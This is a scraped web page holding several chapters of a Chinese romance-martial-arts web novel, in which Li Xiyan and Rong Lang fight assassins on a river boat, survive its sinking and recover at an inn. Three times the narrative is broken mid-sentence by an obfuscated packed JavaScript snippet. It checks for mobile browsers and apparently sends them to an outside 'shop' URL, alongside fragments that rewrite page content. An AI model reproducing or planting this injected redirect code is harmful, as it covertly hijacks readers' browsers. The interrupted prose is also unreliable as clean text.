瑞王点了点头:“没有读过书却还能和钦天监的官员一样厉害……”他脚步一转,朝着船工们所在的底舱跑去,“我得去请教请教。” “侄子可教也。”容朗朝着李希言眨了眨眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14049761|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “也就这一个优点了。” 嘴里虽然这样说,可是李希言的嘴角却含着笑。 “李少使。”容朗微微倾身,用着只有二人能听到的声音说道,“有没有人说过……你很口是心非啊?” 浅色的瞳孔带着灼人的笑意。 李希言扭过头,身子一转。 “我先回房了。” 寺庙还是原来的模样。 一连片红墙围住了山顶,中间两扇大门永远敞开着,上挂着一张匾,匾上写着“青嶂寺”三个金字。 直接走进去,迎面就是一个巨大的冒着腾腾烟雾的铜质香炉,正面浮雕着有求必应四个大字,其他的字……她不认识。 香炉四周围满了男男女女,嘴里念念有词,手拿着香,不住地拜着。 绕过人群,看一眼大殿。 居中的大殿里供奉的不是佛祖,而是抱着孩童笑得温和的送子观音。 李希言收回视线,反手摸了摸背篓里还带着余温的饼,向大殿右边走去。 脚下的鹅卵石被摆成了回字纹,踩起来有点滑。 沿着小路,再穿三层门,就到了一个大院子。 院子很开阔,只坐落着三间房屋。 房屋上的烟囱飘着烟雾。 里面走出一个体格庞大的黄脸和尚,看上去五十来岁。 他挥挥手。 “李小娘子来了?” 李希言急忙把跑过去,把背篓取下递给他。 “弘智师父,这是今日的饼。” 弘智接过背篓,略点了点,又摸出一串铜钱给她。 “放好啊,别把钱弄丢了。” 李希言谨慎地把钱放在斜挎的小包里,郑重点点头。 “我知道的。” 弘智和蔼一笑,把背篓里捆好的饼拿出来,将背篓还给她。 “快去找弘孝玩儿吧。他今日就在前面禅房里。” 李希言背上背篓,道了声谢,飞速往回跑。 刚穿过一道门。 院内的一个和尚的背影就吸引了她的注意。 她两步并做一步走了过去。 “小和尚!你不是在禅房吗?” 背影抖了一下,没有再动。 声音很是委屈。 “姐姐昨日怎么没来?” 她愣住了。 这声音……好耳熟。 她呆呆地看着他的背影,视线忽然变得模糊,像是被笼了一层雾一般。 “姐姐,你为什么没来找我?”背影转过身。 浅色的瞳孔盛着泪,水汪汪的,清俊的脸上满是委屈。 容朗! 她想要向后退,却发现自己完全动不了。 这是怎么回事! 不对,谁是容朗? 不同的景象在脑内如走马灯一般飞速旋转。 容朗……是长乐王,皇帝的弟弟…… 她是谁?李……希言! 绣衣司!国师府! 眼前忽然窜出一把火,烧尽了一切。 梦,醒了。 李希言半坐在床上,弓着背,满脸煞白,大口大口喘着气。 脊梁骨窜上一股冷意,她下意识抹了一把,才发现自己的后背已经湿透。 怎么会做这样的梦? 小和尚那样安静沉默又本分的孩子…… 怎么可能会和那个衣服都不好好穿的容朗扯上关系! 李希言像是懊恼一般地使劲拍了一下自己的头。 肯定是长期没休息好导致的! 她果断地找了个理由。 也…… 或许是自己食言了? 可是当初是她不告而别,之后又怎么好去…… 更何况…… 床边挂着她的官服。 金线绣成的獬豸凶煞无比。 她不由摸了摸自己的脸。 现在的她应该就像那只獬豸吧? 还是别去吓人了…… 反正如今的她也不是从前的她。 耳边的浪声变得激烈,哗哗作响。 她起身换好衣裳,戴好蹀躞带,推开了房门。 54. 变故 带着水汽的江风扑面而来,抚平了她此时如江波般暗自汹涌的心情。 天边已经有些发白。 借着光依稀能够看见不远处亮着几处灯火的泸州城。 进蜀已有好几日了,确实该到了。 “李少使?” 身侧传来的声音让李希言的心狂跳了起来。 来者,正是她此时最不愿也最不敢见到的人——容朗。 “你这么早就起了?” 恍惚之间,声音已经在耳边,就连还发着凉的身体都感受到了一股热度。 李希言将有些发颤的手背在身后。 “王爷也起得很早。” 容朗扭着头和她对上视线。 “我是睡不着。” 话似乎和人一样坦诚。 李希言垂下眼又努力装作无事一般望向灰蒙蒙的天空。 “原来如此。” 容朗胸口一闷。 就这样不想和他说话吗? “李少使好敷衍,是讨厌我吗?” 太过直白的话让李希言平静地脸色微变,她转过视线,吐出两个字。 “没有。” 她这幅装作冷淡的样子让容朗气得发笑。 昔日的理智也松动了几分。 “李少使知道我为什么睡不着吗?” 面前的人仿佛换了芯子一般,身上柔和的气质瞬间消失,变得强势起来,颇有几分咄咄逼人的意味。 李希言朝着甲板向前走了几步。 “王爷晚上吃多了?” 看着她的背影,容朗气得快要跳脚。 她!竟然!说!自己是吃多了撑的! 就算是撑的,也是被气撑了! “不是!”他追了上去,截住了李希言,一脸郑重,“是因为有个很重要的人好像忘记了我。” “很重要……”李希言看着他的眼睛,那里一片清澈,倒映着自己的身影,她喃喃道,“有多重要?” 不对!她这个时候应该敷衍过去的,而不是追问这种莫名奇妙的问题。 还不等容朗开口,她就侧过了脸。 “是下官逾越了。” “最重要。”容朗捏住她的肩膀,让她不得不看着自己,背后天光渐亮,他浅色的瞳孔半明半暗,“是最重要的。” 然而就在此时,船只猛地强烈地颠簸了一下。 正恍惚的李希言一时不稳,直直撞入容朗的怀中。 没有预想中的疼痛,容朗揽着她向后退了退,缓冲了些力,自己却撞到了栏杆上。 被温暖包裹着,可李希言却下意识警惕了起来。 这段河不该这么急! 她一把推开容朗,机警地观察着四周。 四周并没有船只靠近,距离他们最近的船只也至少有百尺的距离。 方才还在失落的容朗见她按着刀四顾,也反应了过来。 “怎么了?” “噤声。”李希言动作忽然一顿。 容朗不由屏住了呼吸。 铛铛铛—— 敲击声来自船尾,在船尾下方,声音很小但是很有规律。 不好! 是有人潜在水底凿船! 李希言毫不犹豫地掏出一枚信号弹放了出去。 轰的一声,江上瞬间炸起一片烟花。 原本安静的船只骤然有了响动。 “有敌袭!” 是苗青响亮的声音。 接着又是数道抽刀之声。 不过片刻,船上的人都接到了消息。 船只陡然一歪。 李希言扶住栏杆。 “容朗,你去护着你侄子。”她的语气不容反驳,说完就朝着船尾走去。 她的背影在黑暗中飞速消失。 容朗咬了咬牙。 要听她的话。 “小叔叔!” “小主子!” 是张锦护着瑞王走到了甲板上。 容朗走了过去,扯起瑞王就往里走:“有人凿船,我们去找关校尉,那些人是冲着你来的。” 张锦一点儿也不慌乱。 久在宫中,他什么没见过? “李少使呢?怎么没看见她?” 容朗脚步慌乱了一瞬,语气艰涩。 “她一个人去找那些人了。” 张锦拉过瑞王:“小主子快去帮李少使吧!” “对对对!”瑞王也附和道,“我又不是不会武功,还有张爷爷呢!李夫子每次打起来都是不要命的样子,你快去帮忙吧!” 他不明白容朗的纠结,张锦明白。 “小主子。”他将容朗拉到一边儿,小声道,“你也不能太听话了,小娘子不会喜欢太听话的男人。” 容朗眼神闪了闪。 “那,你们小心。” 李希言持着刀走到了船尾。 每走一步船只就更沉一分。 船尾向来是没有人的。 所以他们才会选这个地方做手脚。 破空声朝着面门袭来。 一丝银光就在眼前。 李希言慌忙挥刀将人格挡开。 “啸——” 头顶传来熟悉的苍鹰长啸之声。 她抬起头。 破云在空中歪歪扭扭地盘旋着。 刚刚那声长啸也不如往日那样高亢。 难怪从一开始破云就没有预警,定然是这些人对破云做了什么! 李希言心中窜出一股无名火,手紧紧握着刀柄,一双黑沉沉的眼满是煞气,死死盯着面前拿着剑的黑衣人们。 有六个人,团团围住了她。 船下的凿船声还未停止,下面还有人…… 要节省体力。 她朝着右边望了一眼浩茫茫的江水,顺势起刀一撩。 黑衣人被她的动作吸引了注意,都朝着右边奔去。 然而,在他们忽视的左面,李希言左手手腕一转,甩出一大把飞镖。 飞镖如落叶一般在空中回旋,精准地刺向黑衣人。 “呃!” 包围圈被破开,李希言趁机展开攻势,朝着敌人横刀扫去。 黑衣人急忙躲开,动作已经乱了方寸。 就是此时,她开始各个击破。 先是一刀正刺中其中一人的心脏,又反手一刀劈向身后偷袭之人的脑袋。 二人倒下,剩下的四人动作更慌了。 他们甚至来不及思考,直接朝着李希言扑过来。 如此,却正中其下怀。 李希言足尖一点,跃起身,一脚踢中正中间黑衣人的头,黑衣人被踢得晕头转向,站在原地晃。 两侧的黑衣人见势挥剑,李希言一个旋身,把中间的黑衣人踢到二人的剑刃之上,自己则稳稳落在他们身后。 “啊——” 一个黑衣人毙命。 剩下的二人被李希言的耍弄似的攻击激怒,奋力攻去。 李希言脚步轻移,每一次都正巧避开二人的攻击。 不过几步,就窜到了二人面前。 刀光一闪,二人倒下。 船尾只剩下她一人站着。 李希言仰起头,合上眼,任凭凉凉的江风吹干她脸上的汗。 啪啪啪。 “精彩,果然精彩!” 是个男人的声音! 李希言猛的一下转过头去。 只见船舱上,坐着一个黑衣人,双腿随意伸开,抚掌大笑。 “早就听闻李少使武功不错,如今一看果然名不虚传。” 李希言心中沉沉。 她完全没有察觉到这人的靠近。 黑衣人站起身,双手摆了摆:“诶!别这样看着我,我又不是来杀你的。” 懒得废话! 李希言直接跃起,跳上船舱,朝着黑衣人攻去。 到底是什么水平,一试便知! 黑衣人声音带着笑,轻巧躲开。 “都不陪人家说说话~” 二人面对面对峙着。 李希言收回刀。 “为何行刺?” “为何?”黑衣人哈哈一笑,“当然是为了恩情。” 这个回答过于真诚,出乎意外。 “为了恩情杀人?这听起来像是被挟恩相报。” “什么?”黑衣人声音中的笑意瞬间消失,只剩下湿凉的黏腻,“李少使,怎么之前不见你如此刻薄。” 之前? 这人见过自己? 李希言心中飞速过了一遍可疑人选,却毫无头绪。 武功在她之上还是这个体型的人,没有。 至少在她认识的人里面没有。 “好了!”黑衣人扬起手里的剑,“我要开始认真了。” 他明明未做起手之势,却在瞬间攻了过来。 李希言急忙躲开,脚下一空。 糟糕! 她立即稳住,一翻身体,才堪堪安全掉下。 这人速度好快! 容不得她多想,黑衣人已经举着剑一跃而下,朝着她头上劈来。 李希言一刀挡住,借力后撤几步,拉开距离。 船的前部也传来了打斗之声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14057259|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>要速战速决! 李希言动作变了风格,动作变得大开大合,完全放弃了防守。 片刻后,二人都负了伤,半跪在地上,喘息着。 他们的眼睛都盯着对方,在寻找破绽。 忽然,黑衣人被一拳打飞。 李希言错愕了一瞬,就看到了刚刚赶过来的容朗。 他收起拳,先扶起了她。 “你怎么过来了?” “张锦在,别担心,先把他解决了。” 黑衣人挨了一拳,勉强站起,说话的腔调却还是流里流气。 “哎呀,真是不公平,两个打我一个呢~” 二人明白他是在争取时间恢复,立即展开了攻势,一左一右夹住了他。 容朗罗汉拳稳扎稳打,拳拳专打要害。 黑衣人闪来闪去,终究还是挨了一下,一时站立不稳,李希言趁机一刀割向他的咽喉。 血从脖子喷射而出。 黑衣人倒下。 “你...”他咳了几声,血流得更快了,却还是没有停止,“像我这样厉害的不止一个哦~” 他说完又扯着嗓子大笑了几声。 喉咙里的风声呼啦啦的。 李希言眼皮一跳。 调虎离山! “二郎有危险!” 容朗抽出匕首,一刀刺中黑衣人的心口,本就奄奄一息的黑衣人抽搐了两下,彻底没了气息。 “我们快回去!” 二人从对方的眼神中看到了同样的想法,调转方向朝前奔去。 等到达船只前端时,甲板上已经乱做一团。 他们随身携带的箱子被点燃,烧得烟雾冲天,旁边围满了拿着剑的黑衣人。 关风和挡在最前面,面色发白,明显是伤得不轻,之后的绣衣使个个面色不佳。 站在人群中间的张锦一身血污,像护鸡崽似的将瑞王护在身后。 “少使!”苗青一脸惊喜。 凝滞的气氛骤然一松。 众人都有一种得救了的感觉。 李希言一眼就盯住了一群黑衣人中的一个。 他的眼神最利。 “左起第三个。” 容朗点头。 是为首之人。 “动手!” 李希言话音一落,二人同时朝着那个黑衣人杀去。 黑衣人动作敏捷得可怕,脚步一飘,就站到了船舷之上。 他直直看着二人,双眼一眯。 砰—— 随着一声巨响,船只一下斜着沉了下去。 所有人都东倒西歪。 天旋地转间。 一个黑影从眼前掠过。 不好! 等李希言站稳时,黑衣人已经与重重包围之中,抓起了瑞王,将人扔到了水里。 长江滚滚,不止息地向前奔流。 瑞王在河里不住的挣扎着。 李希言嘴唇紧紧抿着,眉头的红痣与眼中的红光相互映照。 怒气瞬间爆发。 她对瑞王嘴上虽然嫌弃,实际上感情颇深。 自己看着长大的孩子,怎么会没有一点感情? 她身形更快了,瞬息之间,就刺中了黑衣人。 “呃……” 脚下的船还在慢慢下降。 反正都要入水了。 李希言直接一把将其推入了水中,自己又跳了下去。 “少使!”众人惊呼。 正在对付黑衣人的容朗更是失控。 他的声音近乎嘶哑。 “李希言!” 一入水,黑衣人灵巧的轻功就失了作用。 李希言鼓起气,一边拉住朝着她游过来的瑞王,一边拿着刀用力向前砍去。 黑衣人又要游泳又要躲避,一时不慎,被砍中一刀。 他不敢有丝毫的松懈,努力朝着前面游。 李希言紧追不舍,一刀又一刀。 眼见着他身侧的河水慢慢染红,她才收了手,带着瑞王往回游。 船只就在眼前,船上的黑衣人已经被消灭了大半。 容朗正趴在船边,一脸焦急,他遥遥伸出手:“快上来。” 她将瑞王向前一推。 “先上去。” 瑞王握住了容朗的手。 就在此时,本就倾斜的船只船头一翘,彻底翻落。 余下的黑衣人四散开来。 绣衣使们水性都是不错的,码头就在前方,还有力气游过去。 但是前提是没有敌人。 一场水中的拼杀开始了…… 55. 叙永 生死存亡之际。 每个人都被激出了凶性。 江面上水花滔天,血色四溅。 没有了领头的人,余下的黑衣人很快都被杀尽,众人立即朝着不远处的码头游去。 正好顺流,他们不太费力就上了岸。 只剩下游在最后的李希言。 “李少使。” 一只白净但有力的手就在自己面前,只有咫尺之遥。 可是…… 太累了。 浑身的力气就像是被抽得一干二净。 李希言甚至连抬起手的力气都没有,眼前的景象也越来越模糊。 江水滔滔,不停地把人往前冲。 迷蒙之中,她本能地想要张开口呼吸,却让江水找到可乘之机,涌入口中。 残存的意识让她紧紧闭上了嘴巴。 可是一阵借着一阵的眩晕让人无法思考,只能一点点沉下去。 鼻子也被水灌入。 奇特的痛感让李希言意识稍稍恢复些许,她开始用力挣扎,试图浮出水面。 眼前的景象扭曲而虚幻,像是梦魇一般拉着人往下。 忽然,一股温热从背后环绕过来。 “别挣扎。” 声音在水声中很是模糊。 可是,李希言就无端端地能够确定——是容朗。 她用尽最后一丝理智,生生忍住了挣扎的冲动。 “别怕……” 他的声音在发抖……应该是很害怕吧? 可是……他在害怕什么呢…… 到最后,她无暇再去想,意识一点点沉入一片黑暗之中。 一大清早,叙永县的来福客栈就被人撞开了大门。 还在打着哈欠拨算盘的老板吓了一大跳,揉了揉眼睛。 只见一个高大清俊的男子抱着一个昏迷的女子,女子眉头生了一颗红痣,很是惹眼。 俩人浑身都是湿的,还滴着水。 来者正是幸存的容朗和李希言。 “这是,这是……”老板急忙迎上去,“这是怎么了?” 容朗喘了口气:“我们在船上遇见贼人了,船翻了,我姐姐晕了过去……” “造孽!”老板一听这话,立即领着人往楼上走,“搞快!我这儿还有个空房。” “多谢。” 容朗跟着老板两步并做一步就上了二楼。 老板掏出钥匙打开门。 “我让我夫人来给你姐姐换身衣裳,你也快去换一身。等会儿洗个热水澡,都入冬了,千万别发热了。那就不好了……” 他说完转过身走了几步又停下,扭过头问道:“小哥,你没换洗衣裳吧?我那儿还有件没穿的,你先将就一下?” 对方的热心让人心头一暖。 容朗郑重拱手道:“劳烦您了。” “没事儿!没事儿!”老板摆摆手,颇有几分洒脱,“出门在外,谁不遇到点事儿嘛!你等着啊,我一会儿就来!” 趁着老板离开,容朗先行取下了李希言腰间的蹀躞带和挂着的物件,又掏出自己怀里一个油纸包,放在一边的柜子里藏好。 他刚做完这一切,老板就带着自家夫人和换洗衣物进来了。 容朗施了一礼:“家姐就劳烦夫人了。” 老板的夫人看着温温柔柔的模样,结果也是个急性子,点了点头就坐到了床边。 “你们先出去吧。” “来来来!小哥!”老板扯着他往外走,“你先去我房里换衣裳,这儿有我夫人呢。” 容朗不舍地回头望了一眼,接过衣物跟着老板离开了。 老板的房间就在一楼柜台后面。 房间里已经放着一大盆热腾腾的水。 “这衣裳我穿着大了不少,你穿着应该正合适,还是新的。”老板指着热水桶,“里面放了些驱寒的药材,你多泡会儿再出来,别急啊。我先出去了,你有事儿喊一声。” 容朗再次道了一声谢。 “小哥看着就是个读书的,真是客气!”老板笑着跨出门顺手带上了门。 容朗心里记挂着昏迷未醒的李希言,略洗了洗就换了衣裳走了出来。 绕过柜台。 老板正在算账,听见动静,回头一笑。 “怎么不多洗一会儿?” “我……”容朗有些不好意思,总觉得自己辜负了别人的好意。 老板豁达一笑:“记挂你姐姐?” “嗯……姐姐她……我实在不放心。” 老板神色恍惚了一瞬,轻叹一口气。 “你是个好弟弟,不像……”他忽然止住了话头,把手里的钱往柜子里一塞,“走吧,我们去看看,我夫人做事最麻利了,应该已经收拾好了。” 二人走上二楼,站在放门口。 老板敲了敲门,语调十分温柔,甚至带着点谄媚。 “夫人?收拾好了吗?” 屋里很快传来暴烈的回应:“等到!催啥子嘛催!” 老板缩了缩脖子,小声嘀咕:“凶什么嘛……我就问问……” 心情沉重的容朗心中一松。 这两口子还挺有趣的。 过了片刻,房门突然被打开。 老板的夫人走了出来,拿着换下的衣物,对着容朗说道:“你姐姐没事儿,就是……等会儿让大夫来瞧瞧就好,也没呛着水。吃点药就能行。” 她侧开身:“快去守着吧,我去帮你们叫大夫。” 容朗摸出一锭银子。 “多谢二位。” 老板娘也不推辞接过银子。 “那我先去找大夫了。老三,你去整点吃食!” 老板连连点头:“好好好!” 夫妻二人相伴着离开。 容朗这才走进房间关上门。 床上的人没有平日里的生气,就这样安静地躺着,呼吸声都很小。 他走上前,坐在床边,一点点握住她的手。 好凉…… “姐姐……”他颤抖的唇轻轻吻上她的冰凉的指尖,“不要有事……不要再留我一个人……” 叮当。 瓷器的碰撞声清脆得如同晨间的鸟啼声。 李希言缓缓睁开眼。 映入眼帘的是一个背影。 是容朗。 即使那人穿着一身近乎粗糙的青布衣裳,她也一眼认了出来。 是他。 心中的坚冰融化了一个角落。 “姐姐!”容朗拿着药碗,眼睛一亮,一脸惊喜,“你醒啦!” 姐姐?! “咳咳咳!”李希言被骇得直咳嗽。 这是什么称呼! 容朗不明所以,连忙给她拍着背。 “别着急,别着急。” 她是着急吗! 李希言捂着胸口,深深吸了一口气。 “这是……怎么回事?” 容朗拿起药碗:“先喝药。” “喝药?” “大夫给你开的,说你……”容朗红着耳朵,“本就不舒服,又落了水,所以要补一补,是补药不苦的。” 李希言也察觉了身下的异样。 真倒霉,非在这个时候来月事! 见她紧紧皱着眉头,容朗以为她误会了什么,急忙解释道:“是客栈老板的夫人给你换的衣物,我没有……” 李希言有些莫名,瞟了他一眼。 “我知道。” “那你……”容朗忽然发觉了什么,一脸正色,“月事不是什么不能宣之于口的事情。” “我知道。”李希言才不会为了这种正常的事情而莫名其妙的羞耻。 “那你?” 李希言视线飘忽,透着几分心虚。 “我不用喝药。” 容朗忍住笑。 明明就是不爱喝药。 “真的不苦,都是补药。” 李希言一脸正经:“是药三分毒,我没有事,喝药只会对身体不好。” “真的吗?”容朗端着药微微垂下头,声音委屈,嗫嚅道,“唉……可惜我守着火炉子守了一个时辰……” 沉默持续了片刻。 李希言松了口。 “拿来吧。” “诡计”得逞的容朗立马端起碗拿起勺子:“那我来喂……” 李希言伸出手拿走碗,一口灌下。 容朗愣住了,直到被喝得干干净净的药碗放回他手中的时候才回过神。 难道后续不应该是让他喂吗! 他怀着悲愤的心情,沉重地放下药碗,任劳任怨地拿出帕子给她。 正准备拿袖子抹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14068444|144568||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴的李希言一愣,旋即接过,擦了擦嘴角的药渍。 “多谢。” 容朗闷闷地“嗯”了一声,又掏出一包金丝蜜枣打开给她。 “老板给的,说是清溪县产的,是蜀地的特产。” 李希言拿起一颗。 口感柔韧,又甜又润,枣香浓郁。 真好吃。 见她吃得开心,容朗心里那一点点小小的失落也消失了,看着她傻笑。 渣爹还是挺好的,至少有渣爹他才是皇子,能够给姐姐买好吃的,能够帮她,能够…… “咳!”李希言刻意地咳嗽声让正浮想联翩容朗惊醒。 这人在想什么?笑得这么傻? “王……” 容朗打断:“人多口杂,别这样叫我。” “那任郎君?” “我现在是你弟弟。” 李希言合上眼:“阿弟。” 陛下恕罪! 容朗乐呵呵应声:“诶!” 李希言表情扭曲。 皇室的子弟是不是都奇奇怪怪的? 陛下烦心的时候爱绣花,瑞王离宫出走闯江湖,眼前这个爱当和尚就不说了,还喜欢让别人叫自己弟弟?! “所以,现在到底是什么情况?” 容朗起身走到旁边的柜子里把她的蹀躞带拿出来交给她。 “这里是叙永县的一个客栈,叫做来福客栈。老板叫做冯康安,他夫人姓罗,都是古道热肠之人。那日你昏迷了,我抱着你到了此处暂歇,一直是他们夫妻俩忙前忙后。” 李希言摆弄着蹀躞带上的随身物品。 “我昏迷了多久?” “一日。今日十月初五。” “有看见破云吗?” “破云?它确实跟来了……但是我怎么叫它,它都没有反应。” 李希言撑起身体,想要站起来。 “别逞强。”容朗扶住她。 再拒绝就有些矫情了。 李希言借着力,走到窗口。 窗户打开,正是夜幕降临之时。 外面一片漆黑,不远处有几棵树。 按照破云的习性,一定会在树上躲着。 她唤了一声。 “破云,过来。” 话音刚落,一道黑影如利箭一般射过来,落在窗棂上。 李希言细细打量着破云。 毛色没有那么亮了,但是没有外伤。 容朗也早有猜想:“你是怀疑有人给破云下了毒?” “是。不然那日破云不会没有预警。” “不仅仅只是破云。你可还记得,那日,船上的船工也没有动静。” “不知道情况如何……”李希言抚着破云的头,“你还好吗?” 破云把嘴大张开。 “吃了肉就好了?”李希言点了点它的鸟嘴,“那就是没事。” “我去买些肉来?”容朗很想讨好这只深得李希言宠爱的老鹰,“破云爱吃什么肉?” “羊肉。” 破云兴奋地展了展翅膀。 对对对!知她者,小李也! “好,我明日就去买。”容朗大着胆子凑近了些,“给破云好好补一补。” 李希言也知道自己的情况,不客气地开始指使人。 “明日顺便把信送出去。”她从袋子里掏出一枚令牌递给他,“关姐他们应该还在泸州,正巧我们要在叙永上船,让他们在泸州查一查当地的事务就赶过来和我们汇合。” 容朗接过令牌:“你就不怕他们出事?那些黑衣人……” “泸州都督不是吃素的。他们只要上了岸就安全了。”李希言顿了顿,“算了。若是我明日能起身,我们一起去吧。” “好啊,你顺便出去透透气。”容朗一点儿也不相信卧床养病这种论调。 闷在屋子里,没病都能憋出病来。 “你饿不饿?我去厨房给你弄些吃食?” 李希言收回手,示意破云飞回去。 “麻烦你了。” 容朗眉眼一弯:“你我之间,没有麻烦二字。” 李希言垂下眼,不敢对上他的视线。 她没有问,为什么他们二人之间没有“麻烦”二字,就像她没有问为什么已经上了岸的他,却和她一起飘到了叙永…… 56. 联络 李希言的恢复力依旧很强。 第二日一早就恢复了大半元气。 她精神抖擞地穿好衣裳,忽然有些想笑。 这一病,怎么反而还睡得着了? 笃笃—— “李娘子?” 门外的声音很是温柔。 “谁?” “我是客栈的老板娘。” “请进。” 老板娘推门而入,鹅蛋一般圆润的脸上带着热乎乎的笑。 “李娘子看上去可是大好了?” 李希言郑重谢过:“好多了,多谢罗夫人照拂。” “你们姐弟真是一样客气!一看就知道是好人家的孩子。”老板娘把手上的餐盘放下,热情地招呼道,“这是我们叙永的特色,豆汤面,味道巴适得很,你尝一尝。” 面条分量十足,上面铺满了厚厚一层熬煮得翻沙的白豌豆和一大勺红棕色的脆哨,还有几颗葱花点缀,骨汤香气扑鼻。 让人食指大动。 对厨师最好的赞美就是被吃得干干净净的碗。 李希言放下筷子。 “贵店厨子的手艺真是不错,京城里也少有这样的美味。” 罗夫人笑得直捂嘴:“哪儿来的厨子,我们客栈掌勺的是我家夫君。” “哦?”李希言有些意外,“夫人好福气。” “是呢!”罗夫人的性子带着蜀地女子的直爽,不忸怩,“我当初和他在一块儿就是图他做饭的手艺!” 李希言也被这种开朗感染。 “确实值得一图。” 二人说得正开心,外面忽然传来几声呼喊,像鸭子叫似的。 “姐——” “姐——” “姐?你在哪儿呢?” 李希言眉头微蹙。 怎么会有人的声音都这么让人讨厌。 原本一脸笑的罗夫人脸色也沉了下去。 她生硬地挤出一个笑:“娘家弟弟,惯是没规矩的,扰着您了。” “没事。” 罗夫人拿起碗筷,行了一礼,一脸尴尬。 “我先去应付那位祖宗了,免得他喊个不停,打扰到您。” 李希言看她这样,有些不平。 这种弟弟不该好好教训吗? “夫人慢行。” 等罗夫人出去后,那难听的叫喊声才停下。 李希言有些关切地听着外头的动静。 “姐,给我点儿钱花花呗。” “你又要什么钱?前几日你不才要了十两银子吗?” “花完了!你再给我拿点儿。” “你现在吃住都在客栈里,哪里需要这么多钱?爹娘送你来时让你学些安身立命的本事的,不是让你来吃喝玩乐的……” …… 又是这种混账。 李希言无奈摇了摇头。 “李少使也觉得那人令人厌烦?”容朗靠在门口,冲着她笑。 “难道不吗?” 容朗走过来,坐到她身边,说起了客栈老板家的事情。 “冯老板两口子都是老实人,对这个无赖的小舅子是无可奈何。” “人善被人欺。” 这种事情他们也没法插手。 容朗自然明白。 “你的东西没丢吧?” “没有。”李希言拂了一下腰间的蹀躞带,“都是防水的。” 出门在外,什么意外都会出现,老早就防着的。 只是可惜,手札还在船上…… 一个油纸包突然占据了她的视野。 “这是?” 容朗抬了抬下巴,示意她打开那个油纸包。 “你看看。” 李希言扯开油纸包上的绳子,拆掉了外面那一层包得严严实实的油纸。 一本薄薄的手扎露了出来。 手札上还有着未干透的水痕,封面上什么都没写,一片空白。 “这东西不是在……”李希言的声音和手都在抖。 “我去找你的时候,突然想起这本手札就顺路去拿了。”容朗笑得满不在乎,“虽然沾了一点点水,但是上面的墨应该都没有晕开。” 李希言看着他那双依旧澄透的眼睛,嘴唇动了动,最终还是只说了两个字。 “谢谢。” 她没有问对方怎么知道自己会把重要的东西放在枕头下。 “李少使不怪我?”容朗挑了挑眉。 “怪你什么?”李希言捏着手札的一角。 容朗半是玩笑半是认真。 “怪我窥探李少使的心思。” 轻飘飘的一句话让李希言扯碎了手札的一角。 刺啦—— 纸张的撕裂声在安静的房内有些刺耳。 “王爷玩笑了。” 到底不好逼得太紧。 容朗就像是什么都没发生过一样,神色自若。 “姐姐今日能出门吗?” 李希言嘴角抽了抽。 “能。” 容朗站起身:“那我们出门去逛一逛?” “好。” 二人一前一后出了房门,迎面正碰见低着头嘀嘀咕咕的老板。 老板不知道在想什么,差点直冲冲撞上来。 “冯老板?”容朗提醒道。 冯老板这才抬起头,停下脚步。 “哎呦!吓我一跳。” 容朗语带亲切。 “你想什么呢?走路都在出神?” 冯老板耷拉着眉毛:“唉,没什么。对了!” 他这才发现一旁的李希言。 “李娘子醒了?可好些了?” 李希言对这个热心肠的老板印象很好,语气也温和得多。 “好多了,多谢照顾。” “哪里哪里。你们俩这是要出去逛街?” “是呢。”容朗双手一摊,“反正都这样了,我们同伴还要过几日才能到,等着也是等着,不如出去透透气。” “也是。”老板建议道,“二位要去买东西不如往南边的集市去,那里有不少南诏人摆摊子,卖的都是新奇玩意儿,还有玩杂耍的变戏法的。上次我带孩子去玩儿了一日都不尽兴呢。” 李希言心思微动:“南诏人?” “对啊。” “那确实值得一去。” 老板见二人都很感兴趣,详细说道:“从大门儿出去,沿着街道向左边走到第一个路口右转,抵拢倒拐就到了。” 容朗懵了一下:“抵拢倒拐?” “就是……就是……”老板的官话本就不标准,此刻更是急得不知该如何解释。 还是李希言说道:“走到尽头再拐弯。” “对对对!”老板连忙附和,“就是这个意思!” “老板!再来一斤酒!” 楼下忽然传来一道雄浑的喊声。 李希言视线飞速瞟过,立即转过身,背对着楼下。 “来了!来了!” 冯老板急匆匆跑了下去。 二楼走廊只剩下二人在。 容朗早就察觉到她的异常,此时才低声问道:“怎么了?” “下面那几个人是禁军,平日负责巡视都城,和我打过好几次照面。” 容朗悄悄看了一眼楼下。 楼下柜台跟前的桌子旁坐着四个二三十岁的健壮汉子,穿着官服,佩剑随意撂在桌边。 “几次照面而已,你都记得他们?” “有点印象。”李希言抬起头,“我们还是走后门离开,免得被人叫破身份。” 那些追杀他们的人很可能还在寻找他们。 二人如今势单力薄,还是要隐藏好身份为佳。 后门就在楼梯后面。 二人轻手轻脚下了楼转身就溜了出去。 